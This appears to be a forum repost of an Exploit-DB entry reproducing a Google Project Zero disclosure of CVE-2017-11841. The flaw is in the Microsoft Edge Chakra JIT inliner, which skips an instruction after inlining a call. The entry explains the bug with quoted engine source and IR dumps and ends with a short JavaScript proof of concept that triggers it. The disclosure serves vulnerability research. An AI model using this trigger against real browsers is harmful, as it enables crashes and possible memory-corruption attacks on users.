Exploit Microsoft Edge Chakra JIT - 'Inline::InlineCallApplyTarget_Shared' does not Return the return Instruction

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
43181
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2017-11841
Дата публикации
2017-11-27
Microsoft Edge Chakra JIT - 'Inline::InlineCallApplyTarget_Shared' does not Return the return Instruction
Код:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1366

Here's a snippet of Inline::Optimize.
    FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)
    {
        switch (instr->m_opcode)
        {
            case Js::OpCode::Label:
                {
                    ...
                    if (instr->AsLabelInstr()->m_isForInExit)
                    {
                        Assert(this->currentForInDepth != 0);  // The PoC hits this
                        this->currentForInDepth--;
                    }
                }
                break;
            case Js::OpCode::InitForInEnumerator:
                if (!func->IsLoopBody())
                {
                    this->currentForInDepth++;
                }
                break;
            case Js::OpCode::CallI:
                ...
                instrNext = builtInInlineCandidateOpCode != 0 ?
                    this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :
                    this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);
                ...
        }
    }


"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.

Before:
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
    arg1(s7)<0>.var =  ArgOut_A       s2.var, s6.var                          #0003 
                       CallI          s3.var, arg1(s7)<0>.var                 #0006 

    s0.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #000c  <<--- NEXT INSTRUCTION

After:
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
    ...
    s12.var         =  InlineeStart   s3.var, iarg1(s7)<24>.var               #0006   Func # (#1.3), #4 obj.inlinee
    s9[Object].var  =  Ld_A           0xXXXXXXXX (GlobalObject)[Object].var   #  Func # (#1.3), #4
    s8.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #0000   Func # (#1.3), #4
                       StatementBoundary  #0                                  #0002   Func # (#1.3), #4
                       StatementBoundary  #-1                                 #0002   Func # (#1.3), #4
                       InlineeEnd     4 (0x4).i32, s12.var                    #0000   Func # (#1.3), #4

                       StatementBoundary  #0                                  #000c 
    s0.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #000c  <<---- NEXT INSTRUCTION

As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.

Here's the call flow.
Inline::InlineBuiltInFunction(...) {
    ...
    if (inlineCallOpCode ==  Js::OpCode::InlineFunctionCall)
    {
       inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);
       return inlineBuiltInEndInstr->m_next;
    }
    ...
}

-> InlineCall -> InlineCallTarget -> 

Inline::InlineCallApplyTarget_Shared(...) {
    IR::Instr* instrNext = callInstr->m_next;
    return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);
}

Inline::InlineFunctionCommon(...)
{
    ...
    return instrNext;
}

The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.

In the PoC, "InitForInEnumerator" will be skipped.

    s16[LikelyUndefined_CanBeTaggedValue].var = CallI  s6.var, arg2(s15)<8>.var #0015  << will be inlined
                       InitForInEnumerator  s16.var, s17.u64                  #001f  << Skipped


PoC:
*/

function opt(obj) {
    for (let i in obj.inlinee.call({})) {
    }

    for (let i in obj.inlinee.call({})) {
    }
}

function main() {
    let obj = {
        inlinee: function () {
        }
    };
    
    for (let i = 0; i < 10000; i++)
        opt(obj);
}

main();
 
Источник
www.exploit-db.com

Похожие темы